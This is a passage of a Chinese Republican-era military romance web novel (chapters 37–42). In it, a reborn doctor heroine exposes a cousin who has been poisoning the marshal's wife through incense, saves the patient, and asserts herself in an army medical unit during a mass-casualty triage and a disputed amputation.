只见昨晚那个被陆淮锦呵斥滚蛋的表妹林婉,此刻披头散发,满脸泪痕地冲到了门口,却被卫兵死死拦住。
“表哥!你快去看看吧!姑妈……姑妈她晕倒了!”
林婉哭得梨花带雨,声音凄厉,“大夫说……大夫说姑妈这次怕是挺不过去了!都在准备后事了!”
陆淮锦握着筷子的手微微一顿,眼神瞬间冷了下来。
虽然他对这个继母没有半点感情,甚至充满了厌恶和防备,但名义上她毕竟是陆家的主母,是大帅明媒正娶的夫人。如果她在这个节骨眼上**,而且是在他刚回来的第二天,那外面的流言蜚语能把陆淮锦淹死——“少帅克母”、“刚回来就气死继母”的帽子一旦扣上,不仅影响军心,还会让他在即将到来的南北谈判中陷入被动。
“走。”
陆淮锦放下筷子,起身整理了一下军装,脸上看不出喜怒。
沈晚清也站了起来,随手拿起放在椅背上的医药箱。
“我也去。”
陆淮锦看了她一眼,眉头微皱:“那是鸿门宴。赵氏的病一直很蹊跷,这几年看了无数名医都不见好。今天突然发作,未必不是冲着你来的。”
“正因为冲着我来,我才更要去。”
沈晚清拎起药箱,嘴角勾起一抹自信的弧度,“别忘了,我是大夫。在我的领域里,还没有人能装神弄鬼。”
……
慈宁院,大帅夫人寝居。
还没进屋,一股浓烈的、令人窒息的苦药味混合着那种特殊的甜腻熏香扑面而来。
屋内乱成一团。
几个留着长胡子的老中医正围在床边摇头叹气,陆大帅背着手在屋里焦躁地走来走去,骂骂咧咧。
“一群废物!养你们有什么用?!连个头疼脑热都治不好!”
陆大帅看到陆淮锦进来,更是气不打一处来,指着他的鼻子吼道:“看你干的好事!昨天把你母亲气得一宿没睡,今天就吐血了!要是她有个三长两短,老子毙了你!”
陆淮锦面无表情,甚至连眼皮都没抬一下,直接无视了暴怒的父亲,目光越过人群,看向那张雕花大床。
赵氏正躺在床上,面色蜡黄中透着一种诡异的潮红,双眼紧闭,呼吸急促,嘴角还残留着一丝暗红色的血迹。
“表哥……你看姑妈……”
林婉扑在床边,哭得那叫一个肝肠寸断,一边哭还一边用怨毒的眼神偷瞄沈晚清,“都怪有些人,命硬克亲,刚进门就把家里搅得鸡犬不宁……”
沈晚清没有理会这低级的挑拨。
她站在陆淮锦身侧,目光如X光般扫描着床上的病人,以及周围的环境。
窗户紧闭,空气不流通。床头摆着一只精致的紫铜香炉,正袅袅冒着青烟。桌上的药碗里,残渣呈现出一种不正常的黑褐色。
“让开。”
沈晚清突然开口,声音清冷,穿透了屋内的嘈杂。
正在哭丧的林婉一愣,随即尖叫起来:“你干什么?这里是你能撒野的地方吗?”
“我说,让开。”
沈晚清不想跟她废话,直接上前一步。
“你懂不懂规矩?这几位都是宫里出来的太医!你一个乡下……”
林婉的话还没说完,就被陆淮锦一把拎住后领,像扔垃圾一样扔到了旁边。
“闭嘴。”
陆淮锦的声音不大,却带着令人胆寒的杀气,“再多说一个字,我就让人把你的嘴缝上。”
林婉吓得瞬间噤声,只能捂着嘴,惊恐地看着这个可怕的表哥。
没有了苍蝇的嗡嗡声,沈晚清终于走到了床边。
那几个老中医见是个年轻女子,纷纷露出不屑的神色。
“少帅,这……这是胡闹啊!”为首的一个胡子花白的老头颤颤巍巍地说道,“老夫人这是气血攻心,引发了旧疾心痹,脉象微弱如游丝,已是油尽灯枯之兆。这时候若是让外行乱动,怕是……”
“油尽灯枯?”
沈晚清冷笑一声,放下药箱,“我看未必。”
她在床边坐下,伸手掀开赵氏的眼皮看了看。
瞳孔对光反射正常,但巩膜微黄。
接着,她拉起赵氏的手。
那是一双保养得极好的手,皮肤细腻。但沈晚清的目光却死死锁定了赵氏的指甲。
指甲盖上,那一道道横向的白色纹路,在光线下清晰可见。
这是重金属**最典型的体征!
沈晚清心中已有了七分把握。
她伸出三根手指,搭在了
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赵氏的寸关尺脉上。
切脉。
中医讲究望闻问切。虽然沈晚清前世主修西医外科,但这具身体的原主自幼跟随外祖父研习中医,再加上她重生后刻意钻研,如今在中医诊断上的造诣,绝不输给这些所谓的“太医”。
脉象沉细而弦,往来艰涩。
这绝不是心脏病的脉象!
心痹者,脉当结代。而赵氏的脉象,更像是……肝肾受损,毒素淤积!
再结合那特殊的熏香味道,以及赵氏皮肤上隐约可见的雨滴状色素沉着。
真相,呼之欲出。
沈晚清收回手,从怀里掏出一块洁白的手帕,慢条斯理地擦了擦手指。
“怎么样?还有没有救了?”陆大帅虽然嘴硬,但眼神里还是透着一丝焦急。
“大帅。”
沈晚清站起身,目光扫过那群庸医,最后落在了一脸心虚、眼神闪烁的林婉身上。
“夫人这病,确实凶险。”
她故意顿了顿,看到林婉眼中闪过一丝窃喜,才话锋一转,语气变得如刀锋般锐利:
“不过,这可不是什么气急攻心,也不是什么心痹旧疾。”
“你胡说什么!”那个老中医胡子都气歪了,“老夫行医五十年,难道还会看错?!”
“你确实看错了。”
沈晚清从药箱里拿出一根银针,在烛火上烤了烤,眼神变得幽深莫测:
“因为夫人得的根本不是病。”
“她是——**。”
此言一出,满屋皆惊。
“**?!”陆大帅瞪大了牛眼,“谁敢在帅府下毒?!”
林婉的脸色瞬间变得煞白,身体摇晃了一下,差点站立不稳。
“是不是**,一试便知。”
沈晚清没有给任何人反应的机会。她手中的银针如闪电般刺入赵氏的人中穴,然后迅速拔出。
银针的尖端,呈现出一种诡异的乌黑色。
但这还不是最致命的证据。
沈晚清走到那尊还在冒烟的紫铜香炉前,用镊子夹起一块还没燃尽的香料,放在鼻端闻了闻。
“曼陀罗致幻,朱砂安神。”
她转头看向林婉,目光冷得像是在看一个**:
“但这香料里,还掺了一样东西。一种无色无味,却能让人在日积月累中肝肠寸断、最终衰竭而亡的剧毒。”
“那就是——**。”
“林婉小姐,这香是你亲手调制的吧?你这哪里是在孝敬姑妈,你这是在……催命啊。”
轰——!
这一句话,就像是一颗重磅**,彻底炸翻了整个帅府。
第38章 **真相
死一般的寂静之后,是歇斯底里的尖叫。
“你含血喷人!!”
林婉像是被踩了尾巴的猫,整个人跳了起来,指着沈晚清的手指都在剧烈颤抖,“我是姑妈的亲侄女!我从小在姑妈身边长大,在这个家里尽孝,怎么可能害她?表哥!你要给我做主啊!这个女人一进门就挑拨离间,她这是要逼死我啊!”
她哭得声泪俱下,若不是刚才那一瞬间的心虚太过明显,还真能骗过不少人。
陆大帅此时也是眉头紧锁,那一双虎目在林婉和沈晚清之间来回游移。
虽然他不喜欢沈晚清,但“**”这个词太敏感了。尤其是沈晚清刚才说的头头是道,连指甲上的白纹都说准了,这让他心里不得不犯嘀咕。
“是不是含血喷人,验一验不就知道了?”
沈晚清神色淡然,完全无视了林婉的撒泼。
她转身走到桌边,拿起那只还在燃烧的紫铜香炉,又从药箱里取出一盏酒精灯和一只试管。
“你要干什么?”那个胡子花白的老中医警惕地问道。
“验毒。”
沈晚清将香炉里尚未燃尽的香料粉末倒出一点,放入试管中,然后用镊子夹住试管,放在酒精灯的火焰上加热。
“**,学名**。这种东西虽然无色无味,但在高温加热下,会升华为气态,并散发出一种非常特殊的味道。”
沈晚清一边操作,一边冷静地解说,就像是在给医学院的学生上课。
随着火焰的舔舐,试管里的粉末开始冒出白烟。
几秒钟后。
一股极其刺鼻、令人作呕的味道弥漫在房间里。
那是——大蒜味。
“这是什么味儿?”陆大帅捂住了鼻子,眉头皱得死紧。
“这就是**加热后的蒜臭味。”沈晚清将试管移开,目光如炬地看向那几个老中医,“几位前辈行医多年,应该不会连这个味道都闻不出来吧?”
那几个老中医面面相觑,脸色瞬间变得惨白。
这味道太典型了!
只要是稍微懂点药理的人都知道,这就意味着——香料里真的有剧毒!
“噗通!”
为首的老中医直接跪下了,浑身发抖:“大帅!老朽无能!老朽眼拙啊!这……这确实是**的味道!大帅夫人不是心病,是真的被人下了毒啊!”
铁证如山。
林婉彻底瘫软在地上,面如死灰。她怎么也没想到,这个看似不起眼的土法子,竟然真的被沈晚清当众验了出来!
“不……这不是我……”她还在做着最后的垂死挣扎,“这香料是丫鬟买的……我不知道……我什么都不知道……”
“还敢狡辩?!”
陆淮锦冷笑一声,大步上前,一脚将那个负责点香的贴身丫鬟踹翻在地,“说!这香是谁给你的?”
那丫鬟早就吓破了胆,看着杀气腾腾的少帅,哪里还敢隐瞒,哭着指向林婉:
“是表小姐!是表小姐亲自调的!她说这叫‘安魂香’,是专门给夫人治失眠的,还叮嘱我们要日夜点着,不能断了香火……奴婢真的不知道里面有毒啊!”
“你这个贱婢!你敢陷害我!”林婉发疯一样扑过去要打那个丫鬟。
“啪!”
一声清脆的耳光声响起。
动手的不是陆淮锦,而是陆大帅。
陆大帅这一巴掌极重,直接把林婉打得嘴角流血,半边脸瞬间肿了起来。
“畜生!”
陆大帅气得浑身发抖,指着林婉的手指都在哆嗦,“你姑妈待你不薄!把你当亲女儿养!你竟然给她下毒?你的良心被狗吃了吗?!”
“姑父……我没有……我是为了给姑妈治病……”林婉捂着脸,还在哭诉。
“够了。”
沈晚清打断了这场闹剧。她看了一眼床上呼吸越来越微弱的老夫人,脸色凝重。
“现在不是审案的时候。毒素已经入心脉,再不救人,就算把凶手千刀万剐,大帅夫人也活不过今晚。”
“救?怎么救?”陆大帅此时已经六神无主,下意识地看向沈晚清,“太医都说不行了……”
“只要还有一口气,我就能救。”
这一次,她用的是“鬼门十三针”。银针如雨点般落下,刺入人中、少商、隐白等急救穴位。
随着最后一针落下。
原本面色灰败、气若游丝的大帅夫人,胸口突然剧烈起伏了一下。
“呃……”
一声浑浊的叹息从她口中溢出。
赵氏缓缓睁开了眼睛。
虽然眼神依旧浑浊无力,但那种濒死的灰气已经散去,取而代之的是一种劫后余生的虚弱。
“活了!真的活了!”
周围的下人们惊呼出声。那几个老中医更是看得目瞪口呆,对着沈晚清连连作揖:“神医!真是神医啊!”
沈晚清收起银针,擦了擦额头的汗水。
“命保住了。”
她站起身,看着已经清醒过来、正茫然
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看着四周的老夫人,语气平静,“剩下的余毒,需要慢慢调理。不过……”
她转头看向缩在角落里瑟瑟发抖的林婉,眼神冰冷:
“如果不把毒源清理干净,我治得了一次,治不了第二次。”
大帅夫人赵氏此时已经缓过了一口气。她虽然身体虚弱,但脑子却不糊涂。
她看着满屋子的狼藉,看着跪在地上的林婉,又看着那还冒着烟的毒香炉,还有什么不明白的?
“婉儿……”
赵氏的声音沙哑,透着一股透彻心扉的寒意,“我自问待你不薄……你为何要害我?”
林婉知道大势已去,彻底崩溃了。
她猛地抬起头,那张原本柔弱的脸上此刻满是狰狞与怨毒:
“待我不薄?你是想控制我!你想让我嫁给那个傻子李督军的儿子给你铺路!我不愿意!我想嫁给表哥!我想做少帅夫人!只要你病着,你就离不开我,我就能一直留在帅府……”
“啪!”
陆淮锦再也听不下去了。
“来人。”
他冷冷地吐出两个字,“拖下去。”
“关进水牢。没有我的命令,谁也不许探视。”
“表哥!不要啊!我是你表妹啊!”林婉凄厉地尖叫着,被两个如狼似虎的卫兵像拖死狗一样拖了出去。
哀嚎声渐渐远去。
屋内重新恢复了安静。
陆大帅看着这一幕,仿佛瞬间苍老了十岁。
他转过头,看着一直站在陆淮锦身边、神色淡然的沈晚清。
这一次,他的眼神里再也没有了之前的轻视与厌恶,取而代之的是一种复杂的情绪——有震惊,有尴尬,更有一丝不得不承认的敬畏。
这个女人,不仅救了他儿子的命,今天又救了他夫人的命。
而且,她那一手出神入化的医术和临危不乱的气度,确实……有点少帅夫人的样子。
“沈……沈大夫。”
陆大帅咳嗽了一声,语气有些僵硬,但这已经是这位大帅能做出的最大让步,“今天……多亏你了。”
沈晚清微微一笑,不卑不亢:
“大帅客气了。我是医生,治病救人是本分。也是为了……替少帅尽孝。”
这一句话,给足了陆淮锦面子,也给了陆大帅台阶下。
陆淮锦握住她的手,眼中满是骄傲。
他知道,经此一役,这帅府上下,再也没人敢小看这位沈神医了。
她是凭本事,站在这里的。
第39章 立威帅府
那场惊心动魄的“验毒”风波终于平息。
随着林婉凄厉的哭喊声消失在雨夜深处,慈宁院重新恢复了往日的宁静,甚至比往日更加死寂。
下人们战战兢兢地收拾着地上的狼藉,连呼吸都不敢大声,生怕触了主子们的霉头。
大帅夫人赵氏已经服了解毒汤,沉沉睡去。虽然脸色依旧苍白,但呼吸平稳,那股笼罩在眉宇间的死气已经散去。
外间厅堂。
陆大帅背着手,在那张紫檀木的太师椅前走了第十八个来回。他时不时看一眼坐在一旁正慢条斯理擦拭银针的沈晚清,欲言又止,那张平日里威严惯了的老脸,此刻竟透着几分尴尬和局促。
“咳咳……”
陆大帅终于忍不住咳嗽了两声,打破了沉默。
“那个……沈大夫啊。”
他的声音不像之前那样洪亮,反而带着一丝讨好的意味,“今天这事儿……多亏了你。要不是你眼毒,看出了那个……那个孽障的狼子野心,我这老伴儿怕是……”
他说不下去了,只是重重地叹了口气。
谁能想到,平日里那个温顺孝顺的侄女,竟然是一条喂不熟的毒蛇?而这个被他瞧不上的“野郎中”,却成了救命的菩萨。
“大帅言重了。”
沈晚清收好最后一根银针,合上药箱,神色淡然,“医者父母心。夫人既然没事了,那我也该回去了。后续的调理方子我已经写好了,交给信得过的丫鬟去煎,切记,入口的东西,要有人试毒。”
她并没有因为救了人就居功自傲,也没有趁机提什么要求,这份宠辱不惊的气度,反而让陆大帅高看了几眼。
“慢着。”
陆大帅喊住她,从腰间解下一块沉甸甸的纯金腰牌,啪地一声拍在桌子上。
“我陆宗林恩怨分明。你救了我夫人,就是我陆家的恩人。这块腰牌你拿着,以后在北城地界,见牌如见我,谁敢欺负你,老子崩了他!”
这是真正的权力认可。
有了这块牌子,沈晚清在北城,可以说是横着走。
一旁的几个老中医看得眼红不已,却也不敢吭声。
沈晚清看着那块腰牌,并没有推辞。
在帅府这种地方,过度的谦虚就是软弱。她伸手拿起腰牌,入手沉甸甸的,带着金属特有的冰凉。
“那就多谢大帅了。”
她微微欠身,动作优雅得体,“不过,比起这块牌子,我更希望大帅能答应我一件事。”
“你说!只要不是要星星月亮,我都答应!”陆大帅大手一挥。
“林婉虽然被关起来了,但她在帅府经营多年,根基未断。为了老夫人的安全,慈宁院的人手,建议全部换一遍。”
沈晚清的目光扫过屋里的那些丫鬟婆子,语气平静却透着杀伐决断,“一次不忠,百次不用。我不希望我辛苦救回来的人,过几天又被人害了。”
屋里的下人们瞬间跪了一地,瑟瑟发抖。
陆大帅愣了一下,随即眼中闪过一丝赞赏。
这丫头,够狠,也够绝。
这点倒是很对他的脾气,不愧是他儿子看中的女人。
“好!听你的!”陆大帅厉声道,“管家!把这院子里的人全部发卖了!换一批身家清白的进来!以后慈宁院的用度,全部由……由少帅夫人亲自过目!”
少帅夫人。
这四个字从陆大帅嘴里说出来,意义非凡。这代表着这位封建大家长,终于在这个流血的夜晚,正式承认了沈晚清的身份。
站在一旁的陆淮锦,嘴角终于勾起了一抹满意的弧度。
他走上前,自然地揽住沈晚清的肩膀,对着陆大帅点了点头:
“既然父亲没事了,那我们先回去了。晚晚累了一天,需要休息。”
“去吧去吧。”陆大帅不耐烦地挥挥手,但看着两人背影的眼神,却复杂了许多。
……
回听涛苑的路上。
夜色深沉,寒风凛冽。
陆淮锦解下身上的大衣,将沈晚清裹得严严实实。
“冷吗?”
“不冷。”沈晚清摇摇头,手里还握着那块金腰牌,“就是觉得……有点不真实。”
“什么不真实?”
“你父亲。”沈晚清笑了笑,“我以为像他那种老顽固,会为了面子死撑到底,没想到这么快就低头了。”
“他那不是低头,是怕死。”
陆淮锦嗤笑一声,“到了他这个年纪,
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越有权势的人越惜命。你那一手‘起死回生’的本事,对他来说就是保命符。他供着你还来不及,怎么敢得罪你?”
两人穿过回廊,路过的下人们只要见到他们,无不恭恭敬敬地退到路边,深鞠一躬,齐声喊道:
“少帅好!少夫人好!”
声音洪亮,透着发自内心的敬畏。
如果说昨天他们对沈晚清的恭敬是看在陆淮锦的面子上,那么今天,这份恭敬就是冲着沈晚清本人去的。
能在谈笑间揪出真凶、救活老夫人、甚至逼得大帅清洗内院的女人,绝对是个狠角色。
在这个**的帅府里,只有强者才配得到尊重。
沈晚清听着这一声声“少夫人”,心里并没有太多的波澜,只觉得这一天的疲惫终于涌了上来。
“到了。”
陆淮锦推开听涛苑的门。
温暖的灯光洒了出来。
“累坏了吧?”
他关上门,隔绝了外面的寒风,一把将她打横抱起,走向卧室,“今晚好好睡一觉。明天……”
“明天怎么了?”沈晚清靠在他怀里,眼皮有些打架。
“明天带你去个地方。”
陆淮锦将她放在床上,一边帮她脱鞋,一边低声说道,“既然家里安顿好了,也该去看看我的‘老窝’了。”
“军营?”沈晚清猜到了。
“嗯。”
陆淮锦给她盖好被子,在她额头上亲了一下,“那里有一群比我爹还顽固的老家伙。那是你在北城要过的……最后一关。”
沈晚清迷迷糊糊地听着,嘴角勾起一抹自信的笑。
“老顽固?有你爹顽固吗?”
“应该……差不多吧。”
“那就不用担心了。”沈晚清翻了个身,找了个舒服的姿势,“连大帅我都搞定了,还怕几个老头子?”
看着她秒睡的模样,陆淮锦失笑。
他坐在床边,静静地看了她很久。
经过今晚,沈晚清这三个字,将彻底响彻整个帅府,无人再敢轻视。
但这仅仅是开始。
帅府只是个后宅,真正的风云,在军营,在战场,在那个更广阔、也更残酷的世界。
而她,已经做好了准备。
第40章 军医处的排挤
北城郊外,陆家军大本营。
凛冽的北风卷着黄沙,拍打在绵延数里的营帐上,发出猎猎声响。
巨大的校场上,数千名士兵正在操练,喊杀声震天动地。这里是陆系军阀的根基,是真正的铁血之地,空气中似乎都弥漫着一股硝烟与汗水混合的刚硬味道。
一辆黑色轿车缓缓驶入营门,两旁的卫兵立刻**敬礼,眼神狂热。
车门打开。
陆淮锦一身戎装,大步走下车。他没有带随从,而是亲自转身,扶着一位身穿素白大褂、提着医药箱的年轻女子下了车。
这突如其来的一幕,让周围正在操练的士兵们都愣了一下,原本整齐的口号声出现了一丝停顿。
“那是谁?怎么会有女人进军营?”“看着像是少帅带回来的……那个神医?”“神医?这么年轻?还是个女流之辈?别是来咱们这儿绣花的吧?”
窃窃私语声在队伍中蔓延。在这个崇尚武力、甚至有些迷信“女人进军营晦气”的旧式军队里,沈晚清的出现,就像是一滴水掉进了滚油锅。
沈晚清并没有理会那些异样的目光。
她紧了紧手中的药箱,目光平静地扫过那一排排荷枪实弹的士兵。前世她也曾随军**,这种场面吓不到她。
“别理他们。”
陆淮锦察觉到了她的紧绷,伸手揽住她的肩膀,带着她径直向营地深处的一排红砖房走去。
“那里是军医处。也是你以后的战场。”
……
军医处,会议室。
烟雾缭绕,呛得人睁不开眼。
十几名身穿白大褂、年纪在四十岁往上的军医正围坐在长桌旁,抽着旱烟,喝着浓茶,聊得热火朝天。
坐在首位的,是一个留着山羊胡、戴着老花镜的老者。他是军医处的处长,赵学礼,也是当年跟随陆大帅起家的老人,资历极深,在军中颇有威望,但也是出了名的老顽固。
“听说少帅带了个女娃娃回来,还要让她来咱们这儿当什么‘特别顾问’?”赵处长磕了磕烟斗,一脸不屑,“这不是胡闹吗?咱们这是治病救人的地方,不是给少帅哄女人开心的戏台子!”
“就是!一个娘们儿懂什么军医?怕是见到血都要晕过去!”旁边一个满脸横肉的外科主任附和道,“少帅也是被美色迷了眼,竟然要把咱们这帮老兄弟交给一个女人管,这传出去还不让人笑掉大牙?”
“要我说,待会儿她来了,咱们谁也别给她好脸。让她知难而退,乖乖回后宅生孩子去!”
众军医哄堂大笑。
就在这时。
“砰!”
会议室的大门被人一脚踹开。
笑声戛然而止。
陆淮锦站在门口,逆着光,脸色阴沉得可怕。他身后的沈晚清神色淡然,仿佛根本没听到刚才那些污言秽语。
“笑啊,怎么不笑了?”
陆淮锦大步走进会议室,皮靴踩在地板上,发出令人心悸的声响。他走到赵处长面前,双手撑在桌上,居高临下地俯视着这群倚老卖老的老家伙。
“刚才谁说,她是来绣花的?”
全场死寂。
赵处长虽然资历老,但在陆淮锦这头**的老虎面前,还是忍不住抖了一下。他站起身,勉强挤出一丝笑:
“少帅,大家也是为了军中的规矩着想。毕竟……自古以来,军营重地,女子不得擅入。这要是坏了风水……”
“规矩?”
陆淮锦冷笑一声,“我的话就是规矩。”
他一把将沈晚清拉到身前,指着她对众人说道:
“介绍一下。这位是沈晚清,沈大夫。从今天起,她就是军医处的首席顾问,位同副处长。以后军医处的所有重大手术和药品采购,必须经过她的签字。”
“什么?!”
这下子,连赵处长也坐不住了,“少帅!这万万使不得!她一个黄毛丫头,何德何能居此高位?咱们这儿可是有留洋回来的博士,还有御医传人,让她管我们?这……这简直是侮辱!”
“侮辱?”
一直沉默的沈晚清终于开口了。
她并没有生气,反而微微一笑,走上前,将手中的药箱放在桌上,发出“啪”的一声轻响。
“赵处长是吧?”
沈晚清看着这个倚老卖老的老头,“您刚才说我何德何能。那我想请问,上个月那场遭遇战,送来的一百二十名枪伤士兵,最后活下来了多少?”
赵处长脸色一僵,支吾道:“伤……伤势太重,再加上天气炎热感染……活下来了三十个。”
“百分之二十五的存活率。”
沈晚清摇了摇头,语气平静却犀利,“这就是你们所谓的‘资历’和‘本事
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’?在我看来,这不是治病,这是在送命。”
“你!你懂什么!”旁边的外科主任跳了起来,“枪伤感染那是绝症!那是阎王爷收人!就算是洋人来了也没办法!”
“洋人没办法,我有。”
沈晚清打开药箱,从里面拿出一瓶金黄色的液体和一把精致的手术刀。
“我能把这个存活率,提高到百分之九十。”
她环视四周,目光如炬,那是一种属于顶级专家的自信与霸气,“我不懂你们的规矩,也不想懂。我来这里,只做一件事——从阎王爷手里抢人。”
“大言不惭!”赵处长气得胡子乱颤,“黄口小儿,信口开河!百分之九十?你要是能做到,老夫把这处长的位置让给你坐!还要给你磕头认错!”
“好。”
沈晚清一口答应,“赵处长,这可是您说的。”
陆淮锦看着这一幕,并没有插手。他知道,这帮老顽固是不见棺材不掉泪。与其用强权压服,不如让沈晚清用实力狠狠打他们的脸。
就在双方剑拔**张之际。
“呜——!!”
凄厉的警报声突然响彻营地上空。
紧接着,一名通讯兵满脸是血地冲了进来:
“报——!!报告少帅!赵处长!西山演习场发生意外!**库**!几十名兄弟被炸伤!还有……还有十几人被倒塌的掩体砸断了腿!”
“伤员马上就到!”
会议室里的空气瞬间凝固。
大规模的**伤和挤压伤,这对于当时的医疗条件来说,简直就是灾难。
赵处长脸色大变,手里的烟斗都掉了:“快!快准备担架!把所有止血粉都拿出来!”
他慌乱地指挥着,完全没了刚才的傲气。
而沈晚清,却在这一瞬间进入了状态。
她迅速脱下大衣,换上白大褂,戴上口罩和手套,动作利落得让人眼花缭乱。
“陆淮锦。”
她第一次在军营里直呼少帅的名字,声音冷静而果断,“给我调一个连的卫兵,封锁手术室,建立分诊区。没有我的允许,闲杂人等一律不许靠近。”
然后,她转头看向那群惊慌失措的老军医,眼神凌厉:
“还愣着干什么?不想死的,都跟我走!”
“今天,我就让你们看看,什么是真正的——军医。”
第41章 演习事故
“快!担架!担架队死哪儿去了?!”
“大夫!这儿有个肠子流出来的!快来人啊!”
随着几辆满载伤员的军用卡车呼啸着冲进营地,原本还算井然有序的军医处瞬间炸了锅。
刺鼻的硝烟味、浓烈的血腥气,还有伤员们撕心裂肺的哀嚎声,瞬间将这里变成了一个充满了痛苦与绝望的人间地狱。
西山演习场的**库意外殉爆,威力巨大。送来的这批伤员,大部分都是严重的爆震伤、烧伤和被掩体倒塌造成的挤压伤。
“别乱!都别乱!”
赵处长满头大汗地跑出来,手里的烟斗早不知扔哪儿去了。看着那一车车血肉模糊的士兵,这位行医多年的老军医也慌了神,只能扯着嗓子瞎指挥:
“先把流血多的抬进去!那个……那个没气的就别管了!快!把止血散都拿出来!”
在他的指挥下,护士和卫兵们像没头苍蝇一样乱撞,有的抬着轻伤员往手术室冲,有的却把重伤员扔在地上没人管,场面一度失控。
“啪!”
一声清脆的枪响,骤然压过了所有的嘈杂。
众人吓得一哆嗦,循声望去。
只见沈晚清站在卡车顶上,手里举着一把还冒着烟的勃朗宁。
她身上的白大褂在风中猎猎作响,那张清丽的脸上没有丝毫惊慌,只有一种令人心悸的冷静与威严。
“所有人,听我指挥!”
她的声音不大,却透着一股不容置疑的穿透力。
“卫兵连,立刻拉起警戒线,闲杂人等退后十米!”
“把准备好的红、黄、绿三色布条拿出来!”
沈晚清从车顶跳下,动作利落地走到第一个伤员面前,仅仅看了一眼,手指搭在颈动脉上两秒,便迅速在他手腕上系了一根红色布条。
“重伤濒死,红色!优先送入一号手术室!赵处长,你带最好的外科医生去一号室,只管红标病人!”
接着,她走向下一个,系上黄色布条。
“重伤但生命体征暂稳,黄色!送二号室,进行清创包扎,等待手术!”
再下一个,是个满脸是血但还能大声惨叫的,沈晚清系了绿色。
“轻伤,绿色!在空地上排队,让护士清洗伤口!”
最后,她走到一个已经被炸得面目全非的士兵面前,探了探鼻息,沉默了一秒,系上了黑色布条。
“已无生还可能,黑色……抬去停尸房。”
这就是现代医学中最基础、也最残酷的“检伤分类法”。
在医疗资源极度匮乏的战场上,这是唯一能最大程度挽救生命的方法。
原本混乱不堪的现场,在沈晚清这一套行云流水的操作下,竟然奇迹般地有了秩序。卫兵和护士们不再迷茫,看着布条颜色就知道该往哪儿送。
赵处长愣愣地看着这一幕。他行医半辈子,从未见过这种闻所未闻的分类法,但不得不承认,效率高得惊人。
“还愣着干什么?”
沈晚清路过他身边,冷冷地瞥了他一眼,“赵处长是想看着这些人流血流死吗?”
“啊?哦!快!按沈顾问说的做!”赵处长如梦初醒,赶紧带着人冲进了一号手术室。
站在不远处的陆淮锦,看着那个在血泊中穿梭、指挥若定的白色身影,眼中闪过一丝深深的惊艳。
他带回来的哪里是个大夫,分明是个天生的战场指挥官。
……
一号手术室。
这里是重灾区,充满了断肢残臂和令人作呕的血腥味。
沈晚清正在给一名腹部贯穿伤的士兵做止血处理,突然,隔壁的手术台传来一阵凄厉的哭喊声:
“不!我不截肢!大夫求求你!别锯我的腿!我还要打仗!我还要回家娶媳妇啊!”
沈晚清手里的动作一顿。
她迅速处理完手头的病人,转身走了过去。
只见那张手术台上,躺着一个大概只有十**岁的小战士,名叫二牛。他的右小腿被**掀飞的石头砸中,血肉模糊,骨头茬子都露了出来,看起来惨不忍睹。
而负责他的,正是那个之前嘲讽沈晚清最凶的满脸横肉的外科主任,姓王。
此时,王主任正拿着一把令人胆寒的骨锯,不耐烦地按着二牛乱蹬的腿:
“别乱动!这腿骨头都碎成渣了,肉也烂了!不锯掉就会得败血症,到时候命都没了!忍着点,很快就好!”
“不要!我不要变瘸子!”二牛哭得满脸是泪,死死抓着手术台的边缘,“少帅!我要见少帅!我宁可死也不截肢!”
在这个年代的军队里,没了腿的士兵就等于废人,不仅会被遣送回家,而且在这个乱世根本活不下去。对于这些以此为生的穷苦孩子来说,截肢比死更可怕。
“少废话!按住他!”王主任对旁边的助手吼道,举起了骨锯。
“住手。”
一只纤细却有力的手,一把扣住了王主任的手腕。
沈晚清冷冷地看着他:“谁准你截肢的?”
“沈顾问?”王主任一看来人是她,火气也上来了,“你懂不懂规矩?这是粉碎性骨折伴随严重软组织挫伤!如果不截肢,一旦感染气性坏疽,神仙也救不了!我是为了保他的命!”
“保命的方法有很多种,截肢是最无能的一种。”
沈晚清甩开他的手,走到二牛面前。
她不顾二牛腿上的污泥和血水,伸手探查了一下足背动脉。
微弱,但还在跳动。
她又用
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针头刺了一下二牛的脚趾。
“疼吗?”
“疼!疼死我了!”二牛哭喊道。
“疼就好。”
沈晚清松了一口气,转头看向王主任,眼神锐利如刀:
“足背动脉搏动存在,神经反射正常,说明肢体远端的血供和神经并没有完全坏死。虽然骨折严重,但只要进行彻底的清创和内固定,这腿,能保。”
“保腿?你开什么玩笑?”
王主任像是听到了天方夜谭,指着那堆烂肉嗤笑道,“这种程度的伤,光是清创就要几个小时!而且这里的条件怎么做内固定?万一感染了怎么办?到时候人**,你负责?!”
“我负责。”
这三个字,掷地有声。
这时候,陆淮锦大步走了进来。他身后跟着赵处长和其他几个闻讯赶来的老军医。
“怎么回事?”陆淮锦看了一眼还在哭嚎的二牛,眉头紧锁。
“少帅!您来得正好!”王主任像是找到了主心骨,恶人先告状,“沈顾问非要拦着我做手术!这战士的腿已经废了,她非说能保!这不是拿战士的命开玩笑吗?”
赵处长也上前一步,语重心长地劝道:“沈顾问啊,我知道你心善。但在战场上,保命才是第一位的。这种伤,我们治了几十年了,除了截肢,别无他法。你就别添乱了。”
所有人都站在了沈晚清的对立面。
在他们眼里,沈晚清就是个不懂装懂、妇人之仁的绣花枕头。
沈晚清没有辩解。
她只是从药箱里拿出了那瓶金黄色的青霉素,和一套她特制的、用于骨科手术的钢针和钢板。
“陆淮锦。”
她看向那个唯一能做决定的男人,目光清澈而坚定,“还记得那个赌约吗?”
“我说过,我能把存活率提高到百分之九十。”
她指着手术台上的二牛,“这个兵,就是第一个。”
“给我三个小时。如果手术失败,或者后续感染,我沈晚清……”
她摘下胸前那枚代表“特别顾问”的徽章,拍在桌子上:
“滚出军营,永不行医。”
全场寂静。
所有人都被她这破釜沉舟的气势震住了。为了一个大头兵的腿,赌上自己的前程?这也太疯了!
二牛停止了哭泣,睁大眼睛看着这个比自己大不了几岁的女大夫,眼中燃起了一丝希望的火光。
陆淮锦看着她。
他在她的眼里,看到了那种即使千万人吾往矣的自信与傲骨。
他突然笑了。
“好。”
陆淮锦拔出腰间的**,拍在桌子上,“王主任,让开。”
“这台手术,沈顾问主刀。”
“谁敢阻拦,军法处置!”
第42章 手术室的奇迹
昏黄的煤油汽灯被挑到了最亮,发出细微的滋滋声,将这间充满血腥味的屋子照得如同白昼。
手术台上,年轻的战士二牛已经因为**麻醉而陷入了沉睡。但他那条血肉模糊的右腿,依然像是一个张着大口的怪兽,狰狞地展示着战争的残酷。
肌肉撕裂,胫骨粉碎性骨折,断茬刺破了皮肤,混杂着泥土和**渣。
如果不截肢,在这个没有无菌室的年代,感染几乎是百分之百的。
“疯了,真是疯了。”
